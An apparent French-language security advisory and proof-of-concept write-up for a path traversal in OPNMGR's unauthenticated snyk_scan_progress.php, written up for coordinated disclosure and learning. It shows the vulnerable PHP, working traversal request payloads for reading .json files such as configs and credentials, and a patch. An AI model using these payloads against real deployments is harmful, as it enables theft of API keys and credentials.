
Preuve de concept et analyse pour CVE-2026-103978, une traversée de chemin non authentifiée dans snyk_scan_progress.php d'OPNMGR permettant la lecture arbitraire de fichiers .json.
Lecture arbitraire de fichiers .json, aucune connexion requise. Découvert en lisant le
code source de agit8or1/OPNMGR, un gestionnaire de
parc OPNsense écrit en PHP.
| CVE | CVE-2026-103978 |
| Avis | GHSA-8x7v-vwpx-3wr7 |
| Classe | CWE-22 (Traversée de chemin) |
| Auth | aucune |
| CVSS v3.1 | 7.5 Élevé (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N) |
| CVSS v4.0 | 8.7 Élevé |
| Corrigé dans | v3.10.0 |
| Crédit | Kanarat Kaeothong (Axiom0x) |
snyk_scan_progress.php se trouve à la racine web et prend un scan_id directement depuis
la chaîne de requête, le colle dans un chemin de fichier, et passe le résultat à
file_get_contents(). Il n'y a pas d'inclusion d'authentification, pas de vérification de
session, pas d'assainissement du paramètre.
<?php
header('Content-Type: application/json');
$scan_id = $_GET['scan_id'] ?? ''; // unauthenticated, raw
if (empty($scan_id)) { echo json_encode(['error' => 'No scan ID provided']); exit; }
$progress_file = "/tmp/snyk_scan_{$scan_id}.json"; // string concat, nothing else
if (!file_exists($progress_file)) { echo json_encode(['error' => 'Scan not found']); exit; }
$progress_data = file_get_contents($progress_file);
echo $progress_data; // sent back to the caller
Tous les autres points d'entrée de l'application incluent inc/bootstrap.php et appellent
requireLogin() avant toute chose. Celui-ci saute tout cela. Ainsi scan_id
est contrôlé par l'attaquant, s'insère tel quel dans le chemin, et le contenu du fichier est
renvoyé dans la réponse.
Une subtilité : le préfixe snyk_scan_ est collé à ce que vous envoyez, donc une charge utile
qui commence par .. est absorbée (snyk_scan_.. n'est qu'un nom de fichier bizarre dans /tmp).
Il faut d'abord un segment jetable pour que le .. devienne réellement un saut vers le
répertoire parent :
/tmp/snyk_scan_ + x/../../etc/passwd -> /tmp/snyk_scan_x/../../etc/passwd
-> /etc/passwd.json
Le .json final est imposé par le code et il n'y a pas d'astuce d'octet nul dans
le PHP moderne, donc vous ne pouvez lire que les fichiers se terminant par .json. Dans un
déploiement PHP réel, ce n'est pas vraiment une limite. Fichiers de configuration, clés de
compte de service, auth.json de composer, identifiants cloud, la plupart des choses
intéressantes sont déjà en .json.
GET /snyk_scan_progress.php?scan_id=x/../../var/www/opnsense/config
-> returns /var/www/opnsense/config.json
GET /snyk_scan_progress.php?scan_id=x/../../../../etc/some_config
-> walks to filesystem root, returns /etc/some_config.json
Il existe une version exécutable dans poc/poc.sh.
Tout fichier se terminant par .json que www-data peut lire, divulgué à quiconque peut
atteindre la page. Sur une machine qui gère des pare-feux OPNsense, cela signifie généralement
des clés d'API et des identifiants.
Ajoutez l'inclusion d'authentification que le reste de l'application utilise, et validez
scan_id contre une liste blanche stricte avant de construire le chemin :
require_once __DIR__ . '/inc/bootstrap.php';
requireLogin();
$scan_id = $_GET['scan_id'] ?? '';
if (!preg_match('/^[A-Za-z0-9_-]{1,64}$/', $scan_id)) {
http_response_code(400);
echo json_encode(['error' => 'Invalid scan id']);
exit;
}
$progress_file = '/tmp/snyk_scan_' . $scan_id . '.json';
Le mainteneur a livré le correctif dans la v3.10.0.
Signalé via une divulgation coordonnée. La version vulnérable n'est plus la version actuelle. Le writeup est ici pour référence et apprentissage.